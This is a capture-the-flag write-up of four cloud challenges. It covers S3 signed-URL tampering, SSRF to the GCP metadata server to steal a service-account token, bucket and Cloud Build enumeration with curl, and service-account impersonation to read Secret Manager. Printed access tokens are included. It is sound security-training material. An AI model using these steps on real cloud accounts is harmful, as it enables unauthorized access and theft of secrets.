Cloud Village CTF 2023 Write up

·

6 min read

Last week, my team participated in cloud CTF, Cloud Village 2023 @defcon31. It was an online event, opened for 3 days and had challenges on three cloud platform i.e. AWS, Azure and GCP.

Here is a walkthrough of four challenges we were able to solve.

Gnome University — 100

Link: http://cloudfilestore.s3-website-eu-west-1.amazonaws.com/

From the description, we can say flag is in secret.txt file present in AWS s3 bucket. We don’t know the name of an s3 bucket. Let’s see what is present on the link provided.

On opening the link, we got the below page.

Download the file and observe the url. It is similar to SAS url and with bucket name research-gnomes-prod.

Now, capture the Download request via BurpSuite and try to understand the pattern,

Download request in BurpSuite

It is generating a SAS URL with respect to the download file request.

We tried replacing file_name with secret.txt, but it didn’t work as the bucket name was not right. Then we tried with dev instead of prod in bucket name, i.e. file_name=secret.txt&storage=research-gnomes-dev and got another SAS url.

Modified request

We copied the SAS url and accessed the flag.

flag value

Digital Forest — 100

Link: https://leaky-bucket-jobztbckaq-uc.a.run.app

From the description, we can say that the cloud platform is GCP and we need to look into gcp cloud storage. Also, header value should be in JSON in the application. Open the link for more information.

It looks like an application that will take the URL and header in the input field. We already know that where there is a Header, there is server metadata!!

Now the main target is to provide the header value in the correct format. After trying multiple combinations, we got the right one and we already know the gcp metadata endpoint.

After submitting it, we got an interesting output.

I followed the path of output and got the token of service-account,

Token of service account

Note: This token has an expiration date. So one has to regenerate the token after expiration.

Check the permission of service account.

Permission of Service Account

It has https://www.googleapis.com/auth/cloud-platform permission, which means it is close to the editor role in GCP.

From the name of the service account, we can identify the project as optimal-jigsaw-390814. For validation, we can check it from here,

Metadata endpoint to get Project ID

Project ID

We have an access token, permission, and a project name. Let’s look into cloud storage to get the flag value.

We created a variable ACCESS_TOKEN to store the value of the token.

ACCESS_TOKEN="ya29.c.b0Aaekm1If97-pbnz8vpec_mI06kKKHzZGMPxb4cIe6jWqbnQ6IRa14VUPJIk_N9cuOGI9vpn9pCLyzTe7Drsz4D8qDS2GzRb160XpIX39dascI3XXAivNJ97J_TC90hzeiqdjveNjTtSLQyOiwOQ9MAQSO8ODVHzSTtka6gT7XDjgyOfHhRU7zwWuXPAqvgKmI_eRFLlVXx1YCaHDyYrAZ1sfJbfGxK9aOk-g4TzwS40kcXHHk38PLf9w1hTOL5_tG1gFp7mPozqyiZaONjUabZegKTLwc5l8Ikyh_95EYHOguLqg7CQjZIffkoP8XWaFGwbZ2urGWficxIJxZwGNegQChGcbE2hI8t4KIpwCect8DWu73ZPmEte-3AIicYdWXYrIvsf6m8hQNqJ8ziCKB1JVCAG419KS9peglY2Yrx6xV3WQFRyX1SXUY6xMw_j6bRrJUxQ3c77kkBylSgqaeenfm3FMZBMr4QrSXgyetbU5OiVZ7mjFgBQUzhUk9W92b3tlknIOg5QVc0kwsdt1opabox0bujtxpSc3nvcqMV2g2uWIWWu7UlWIj8eMhlijsaZRvyjqdix6uWaBVJk9Fq8WOIkSRhv0oVbUl1tBfeiQod1dUY05gWd1tXkz_haISFi-Ss66BzwMkxRzgti6Sv70wsew_qOh4hfpYZYrUbSvtXig3aURj3y2QRafIOyIicMxsswbzRJg8pttgSirFV4dJI2mdbeIbZhIFhFiJB9oR6vcoaBngrsZlzunqB_3Yg7g15Jjp7WS0qfzenog9V4X86n--xlsWJ78eeare-jmwchhuMFqtqdza3WmUQvj_gd9FcOt-U73dnojyWZ62WQm4e6lm4dqFjOZ4WIjbUa5Oj7Q0Zt0j0fVzlMh_-a-136aU6gwRjo5qjoxpcJkqczn217f9eYh-8q3Wsmtxs2VRiZbyShhfS_39Fwoy0Xcp0XctlgFlnJeBeq4RJmJxzmOwVuF2rpR87lp4bRk1m0WcYvu3bZhV-f"

Now, list the cloud storage bucket present in the project, optimal-jigsaw-390814

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b?project=optimal-jigsaw-390814"

We got approximately 4 buckets, out of which we need to focus on the gnome-lore-bucket for this exercise. Make a note of the selfLink value and list the objects present in gnome-lore-bucket

    {
      "kind": "storage#bucket",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket",
      "id": "gnome-lore-bucket",
      "name": "gnome-lore-bucket",
      "projectNumber": "134663715059",
      "metageneration": "1",
      "location": "US",
      "storageClass": "STANDARD",
      "etag": "CAE=",
      "timeCreated": "2023-08-11T00:52:41.891Z",
      "updated": "2023-08-11T00:52:41.891Z",
      "iamConfiguration": {
        "bucketPolicyOnly": {
          "enabled": false
        },
        "uniformBucketLevelAccess": {
          "enabled": false
        },
        "publicAccessPrevention": "inherited"
      },
      "locationType": "multi-region",
      "rpo": "DEFAULT"
    },
curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket/o/"

We found 3 objects, lore01, lore02, and lore03. Check for the type of file in the mediaLink value to download the file.

{
  "kind": "storage#objects",
  "items": [
    {
      "kind": "storage#object",
      "id": "gnome-lore-bucket/lore01/1691715240518956",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket/o/lore01",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gnome-lore-bucket/o/lore01?generation=1691715240518956&alt=media",
      "name": "lore01",
      "bucket": "gnome-lore-bucket",
      "generation": "1691715240518956",
      "metageneration": "1",
      "contentType": "text/plain; charset=utf-8",
      "storageClass": "STANDARD",
      "size": "446",
      "md5Hash": "czJ41ysU36AdGS/NlkcGsw==",
      "crc32c": "GNW9CQ==",
      "etag": "CKzK46+y04ADEAE=",
      "timeCreated": "2023-08-11T00:54:00.581Z",
      "updated": "2023-08-11T00:54:00.581Z",
      "timeStorageClassUpdated": "2023-08-11T00:54:00.581Z"
    },
    {
      "kind": "storage#object",
      "id": "gnome-lore-bucket/lore02/1691715240520628",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket/o/lore02",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gnome-lore-bucket/o/lore02?generation=1691715240520628&alt=media",
      "name": "lore02",
      "bucket": "gnome-lore-bucket",
      "generation": "1691715240520628",
      "metageneration": "1",
      "contentType": "text/plain; charset=utf-8",
      "storageClass": "STANDARD",
      "size": "448",
      "md5Hash": "n74NjbbY5EzlaqpypGgsFg==",
      "crc32c": "NQTH0A==",
      "etag": "CLTX46+y04ADEAE=",
      "timeCreated": "2023-08-11T00:54:00.582Z",
      "updated": "2023-08-11T00:54:00.582Z",
      "timeStorageClassUpdated": "2023-08-11T00:54:00.582Z"
    },
    {
      "kind": "storage#object",
      "id": "gnome-lore-bucket/lore03/1691715240507944",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket/o/lore03",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gnome-lore-bucket/o/lore03?generation=1691715240507944&alt=media",
      "name": "lore03",
      "bucket": "gnome-lore-bucket",
      "generation": "1691715240507944",
      "metageneration": "1",
      "contentType": "text/plain; charset=utf-8",
      "storageClass": "STANDARD",
      "size": "39",
      "md5Hash": "dyeMXJmTDY7S8hB0WGi3/Q==",
      "crc32c": "96iuUQ==",
      "etag": "CKj04q+y04ADEAE=",
      "timeCreated": "2023-08-11T00:54:00.551Z",
      "updated": "2023-08-11T00:54:00.551Z",
      "timeStorageClassUpdated": "2023-08-11T00:54:00.551Z"
    }
  ]
}

We downloaded all three files one by one and got the flag value in lore03.

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" -o "lore03" "https://www.googleapis.com/storage/v1/b/gnome-lore-bucket/o/lore03?alt=media"
cat lore03                                                                                                                                                                                     
FLAG-{gm2n0ydjp9fi1vqgcibzfga5an7cwjeg}

Gnomes in the Pod — 400

From the description, we came to know this is using GCP and the CI/CD pipeline. We tried a few tools on this apk file but couldn’t find much.

Disclaimer: We got the flag using an alternative way, but that was interesting I bet!!

Then, we suddenly remembered that there was some “cloudbuild” bucket in gcp cloud storage [The Cloudbuild service in gcp is used for ci/cd pipeline]. We thought of checking the bucket objects. (We used the same access token that we used in the Digital Forest challenge.)

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/optimal-jigsaw-390814_cloudbuild/o/"

There were some tar.gz files. We thought of downloading each one of them and checking what’s in it. After looking into all the files, we downloaded this last file and extracted the files in it using tar.

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" -o "build" "https://www.googleapis.com/download/storage/v1/b/optimal-jigsaw-390814_cloudbuild/o/source%2F1691029150.760495-cb48fe2a7d38470abaf3698db7b94566.tgz?generation=1691029154082974&alt=media"

We downloaded the content with the file name “build”.

tar -zxvf build                                                                                                                                                                                                       
jailed/
jailed/bin/
jailed/lib/
jailed/lib64/
Dockerfile
jailed/display_flag
jailed/bin/bash
jailed/bin/cat
jailed/bin/ls
jailed/lib/libc.so.6
jailed/lib/libpcre2-8.so.0
jailed/lib/libselinux.so.1
jailed/lib/libtinfo.so.6
jailed/lib64/ld-linux-x86-64.so.2

Read the display_flag file present in jailed directory.

cat jailed/display_flag
FLAG-{gn0m30kub3s0st4rt04t0th304p3x07}

Gotta go Gnome — 200

From the description, we can say the cloud platform is GCP and it has some connection with Digital Forest. We need to impersonate the service account to get the flag from the secret manager service.

Link: https://leaky-access-jobztbckaq-uc.a.run.app

Generate a token by clicking on Get Access Token

application in Gotta go Gnome

service account token

First of all, we enumerated the permissions of this access token and found it has permission to list service accounts. Save the token value in the ACCESS_TOKEN variable. Let’s list all the service accounts. Project will be the same as the digital forest challenge.

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://iam.googleapis.com/v1/projects/optimal-jigsaw-390814/serviceAccounts"

We got a few service accounts, out of which “” was looking interesting. So we focused on this SA.

{
      "name": "projects/optimal-jigsaw-390814/serviceAccounts/leakysecret@optimal-jigsaw-390814.iam.gserviceaccount.com",
      "projectId": "optimal-jigsaw-390814",
      "uniqueId": "104290749494054107921",
      "email": "leakysecret@optimal-jigsaw-390814.iam.gserviceaccount.com",
      "displayName": "Service Account for Secrets",
      "etag": "MDEwMjE5MjA=",
      "oauth2ClientId": "104290749494054107921"
    },

To impersonate a service account, we need to generate a token for .

curl -X POST \                                                                                                                                                                                 
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "lifetime": "3600s",
    "scope": ["https://www.googleapis.com/auth/cloud-platform"]
  }' \
  https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/leakysecret@optimal-jigsaw-390814.iam.gserviceaccount.com:generateAccessToken

Save the “accessToken” value into a new variable TOKEN

{
  "accessToken": "ya29.c.b0Aaekm1I5KRck9YHUB6yM4va9VGW2xc9BYuexVGF8QCge-JLan_3UqdZW0vSwjn3g0X-YZTsygrHSTgSZdH4fSCD9zGyOJgAQI3aLR49FrNZCWswUQb4xbLVa1Hu0ZQuJNtQlQmZJAiY9-7yWGsXX2chfxpXORK3T4sunI26SMZt11RQraHhzZ6RtNsgvkm7c9T2T3bFQcbCAPMmzoXvb4_6RdOYjbb-TRG0aqOngOzxqMQrT6bzUKMso2QPiHCH0d_0O_mfMJVzfEMvoWs8yDslEHD1rRHXIqgQsDuvZF37F2DzoOCSuW3X6iH5Wq08ANPGPb4mIjotKq_-HtSJpceHfsXpG271VTZbuMxGV2AsPkl5DwlPWLymJ0k-H_tlJmQWXiKXfmImHCJl_iFzYMkKtQwerRYghPYWIoggjsEnHBjb7C1Vt60ZQq0XcHZg4ManUTiMMiRbjlRulzgQieRyzZ3oqh0u164i2Ty1CWYJKqfM65AgLLLwc8pVpiFrc__xnp3gXNEcmLJOuBPp2-enWIyKTgpJJAw5gKVZPKFcZ-c356dI-20_JdR1BkliJbOyzH79SHEGYbcV3PJqDAWvYBVW0V6Y1q3p9ubzf4xCX3gT631DRwZd_jI20c-YIWYstglvcX3UfdoUbJ33fk3aklOMgnUzoR7lqQhsjupeJka1t3pS3av72bXBQnqbJIkbRqSlXRseektawBYiQk-7c9yJmQleoIih1QSmx8V7gyXjx29b3sX9Iga68qz4Y_tx0h_O4dcVuyyks3s25Z44WvsXoIu0q8hyeupfg8a07Xs886wel33387eB3u601v7jXd5pYcM-vrlFwzgnyhl-oJ0th6m9oQzRd2-xQokWSoFpq1zghaQgamUf8JMgzth9Wrr-uc7j6VXIt4YnBxp0rzFYu1ZS_seWdq5MBOYQ5mZpW2RrrxrsYF49Rjv18kgioOUV7we8-fh6R3UrtYVcOyO5a9-mV2w22V6x0_3Rg7s5qe5-mfp-",
  "expireTime": "2023-08-14T12:09:10Z"
}

Now list the secrets present in Secret Manager,

curl -H "Authorization: Bearer $TOKEN" "https://secretmanager.googleapis.com/v1beta1/projects/optimal-jigsaw-390814/secrets"                                                                   
{
  "secrets": [
    {
      "name": "projects/134663715059/secrets/supersecretgnomesecret",
      "replication": {
        "automatic": {}
      },
      "createTime": "2023-08-11T00:57:04.087112Z"
    }
  ],
  "totalSize": 1
}

We got the secret “supersecretgnomesecret”. Access its latest version

curl -H "Authorization: Bearer $TOKEN" "https://secretmanager.googleapis.com/v1beta1/projects/134663715059/secrets/supersecretgnomesecret/versions/latest:access"                              
{
  "name": "projects/134663715059/secrets/supersecretgnomesecret/versions/1",
  "payload": {
    "data": "RkxBRy17d2w2M2s5YXlrMGUyZnRkdGM5cnp5cDVycHkwcndtaDd9"
  }
}

This is base64 encode, decode it and get the value of flag.

echo "RkxBRy17d2w2M2s5YXlrMGUyZnRkdGM5cnp5cDVycHkwcndtaDd9" | base64 -d
FLAG-{wl63k9ayk0e2ftdtc9rzyp5rpy0rwmh7}

And there we have it !!!

I hope this walkthrough provides a clear understanding of the steps and solutions involved. Participating in CTFs is really fun, as it not only teaches you about misconfiguration but also helps you build problem-solving techniques. If you have any questions or insights, please drop them in the comments section below.

Until the next challenge, keep looking into the misconfiguration.